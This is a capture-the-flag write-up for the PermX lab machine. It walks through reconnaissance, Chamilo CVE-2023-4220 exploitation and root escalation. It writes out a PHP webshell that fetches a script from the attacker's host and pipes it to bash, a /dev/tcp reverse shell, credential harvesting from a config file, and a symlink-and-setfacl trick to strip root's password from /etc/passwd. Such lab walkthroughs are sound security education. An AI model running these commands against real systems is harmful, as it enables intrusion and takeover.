Machine Card listing PermX as an easy Linux box

Reconnaissance

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 e2:5c:5d:8c:47:3e:d8:72:f7:b4:80:03:49:86:6d:ef (ECDSA)
|_  256 1f:41:02:8e:6b:17:18:9c:a0:ac:54:23:e9:71:30:17 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: eLEARNING
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Since the scan only returns two ports and SSH is usually not vulnerable, I’ll focus on HTTP.

HTTP

After browsing to the IP I’m directly redirected to http://permx.htb, so I’ll add this domain to my /etc/hosts file. After accessing the page with the domain name, I am greeted with some type of online learning platform. It does list some members of the staff and an email address permx@htb.com. Neither the contact form nor the Join Now lead anywhere.

Webpage advertising the best online learning platform

Since the webserver is accessible only with the virtual host, I try to enumerate possible virtual hosts on the target with ffuf. The webserver returns the default page for any virtual host that does not exist, so I’ll add -fw 18 to filter any response with exactly 18 words because the size differs due to the value I’m trying.

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt  -u http://permx.htb -H "Host: FUZZ.permx.htb" -fw 18
 
        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/
 
       v2.1.0-dev
________________________________________________
 
 :: Method           : GET
 :: URL              : http://permx.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.permx.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 18
________________________________________________
 
www                     [Status: 200, Size: 36182, Words: 12829, Lines: 587, Duration: 31ms]
lms                     [Status: 200, Size: 19347, Words: 4910, Lines: 353, Duration: 907ms]

After adding www.permx.htb and lms.permx.htb to my /etc/hosts and checking the newfound pages, I can see that www seems to be identically to the base domain, but lms shows me a login page to Chamilo, an E-Learning & Collaboration Software with the source code available on Github.

Chamilo Login Page

Trying a few default credentials is unsuccesful but a quick search online shows quite a lot of possible vulnerabilities for different versions. The /robots.txt file lists a few directories and files that should not be crawled by a bot and one of those looks especially interesting to fingerprint the application: /documentation.

curl http://lms.permx.htb/robots.txt
#
# robots.txt
#
# This file is to prevent the crawling and indexing of certain parts
# of your site by web crawlers and spiders run by sites like Yahoo!
# and Google. By telling these "robots" where not to go on your site,
# you save bandwidth and server resources.
#
#
# For more information about the robots.txt standard, see:
# http://www.robotstxt.org/wc/robots.html
#
# For syntax checking, see:
# http://www.sxw.org.uk/computing/robots/check.html
 
User-Agent: *
 
# Directories
 
Disallow: /app/
Disallow: /bin/
Disallow: /documentation/
Disallow: /home/
Disallow: /main/
Disallow: /plugin/
Disallow: /tests/
Disallow: /vendor/
 
# Files
Disallow: /license.txt
Disallow: /README.txt
Disallow: /whoisonline.php
Disallow: /whoisonlinesession.php

Checking out /documentation shows the version 1.11 but clicking on Changelog makes it clear that I’m dealing with 1.11.24. With this version number find CVE-2023-4220 - an unauthenticated file upload that I can use to upload a webshell to the target. Conveniently the blog post also provides a PoC that I just need to modify slightly.

Execution

Shell as www-data

The proof-of-concept uploads a malicious PHP file with curl and then requests the uploaded file on the server. The PoC uses <?php system("id"); ?> and I’ll replace the call to id with a curl command that retrieves a bash script from my own webserver and pipes the result to bash to get a reverse shell.

# Create local bash script and start a new webserver with `python3 -m http.server 80`
echo 'bash -i >& /dev/tcp/10.10.10.10/9000 0>&1' > shell
 
# Creation of the webshell
echo '<?php system("curl 10.10.10.10/shell|bash"); ?>' > rce.php
 
# Upload the file to the webserver
curl -F 'bigUploadFile=@rce.php' 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
The file has successfully been uploaded.
 
# Call the file
$ curl 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/rce.php'

Shell as mtz

Right away I do get a callback on my netcat listener nc -lnvp 9000 as www-data. Considering the web application has to manage accounts somehow, I try to find some database / user credentials first. Chamilo apparently keeps its configuration files in /var/www/chamilo/app/config. The configuration.php has the credentials for the database user: chamilo:03F6lY3uXAP2bkW8.

cat /var/www/chamilo/app/config/configuration.php | grep -vE "^//" | grep -E .
<?php
/* For licensing terms, see /license.txt */
/**
 * This file contains a list of variables that can be modified by the campus site's server administrator.
 * Pay attention when changing these variables, some changes may cause Chamilo to stop working.
 * If you changed some settings and want to restore them, please have a look at
 * configuration.dist.php. That file is an exact copy of the config file at install time.
 * Besides the $_configuration, a $_settings array also exists, that
 * contains variables that can be changed and will not break the platform.
 * These optional settings are defined in the database, now
 * (table settings_current).
 */
$_configuration['db_host'] = 'localhost';
$_configuration['db_port'] = '3306';
$_configuration['main_database'] = 'chamilo';
$_configuration['db_user'] = 'chamilo';
$_configuration['db_password'] = '03F6lY3uXAP2bkW8';
$_configuration['db_manager_enabled'] = false;
--- SNIP ---

Before trying to find additional passwords or hashes within the database, I’ll try to check for password reusage on the provisioned users, root and mtz, since they are the only ones with a login shell configured.

grep -E "sh$" /etc/passwd
root:x:0:0:root:/root:/bin/bash
mtz:x:1000:1000:mtz:/home/mtz:/bin/bash

The password 03F6lY3uXAP2bkW8 works for mtz and I can login via SSH. This also lets me access the first flag in his home folder.

Privilege Escalation

Considering I have the password for mtz I check his sudo privileges first and apparently I can execute /opt/acl.sh as anyone without providing a password.

sudo -l
Matching Defaults entries for mtz on permx:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
 
User mtz may run the following commands on permx:
    (ALL : ALL) NOPASSWD: /opt/acl.sh
/opt/acl.sh
#!/bin/bash
 
if [ "$#" -ne 3 ]; then
    /usr/bin/echo "Usage: $0 user perm file"
    exit 1
fi
 
user="$1"
perm="$2"
target="$3"
 
if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
    /usr/bin/echo "Access denied."
    exit 1
fi
 
# Check if the path is a file
if [ ! -f "$target" ]; then
    /usr/bin/echo "Target must be a file."
    exit 1
fi
 
/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"

The script requires three parameters, a username, a set of permissions and a target. The target needs to to be a file and its path must contain /home/mtz and cannot contain ** so path traversal is out of the question. If all checks are successful it applies the ACL to that file.

Info

An ACL is a Access Control List and specifies additional access right to a file (or directory) that extend the basic access for user, group and other1.
If an ACL is applied it’s indicated with the + in the ls output.
-rw-rwxr—+ 1 root root 1880 Jul 6 21:18 /etc/passwd

In order to exploit the script, I first create a symlink to /etc/passwd in the home directory of the user mtz and then apply the rwx ACL to that file. This allows me to modify the passwd file afterwards and remove the password from the root account.

ln -s /etc/passwd /home/mtz/passwd
 
sudo /opt/acl.sh mtz rwx /home/mtz/passwd
 
ls -la /etc/passwd
-rw-rwxr--+ 1 root root 1880 Jul  6 21:18 /etc/passwd

By modifying the entry for root and removing the x from root:x:0:0:root:/root:/bin/bash I effectively remove the password and can escalate with su.

Attack Path

flowchart TD

subgraph "Execution"
    A(Chamilo) -->|Unauthenticated File Upload|B(Shell as www-data)
end

subgraph "Collection"
    B --> |Database Password|C(Valid Credentials)
end

subgraph CA["Credential Access"]
    C -->|Password Re-Use|D(Shell as mtz)
end

subgraph "Privilege Escalation"
    D -->|ACL modification on /etc/passwd|E(Shell as root)
end

Footnotes

  1. Access Control Lists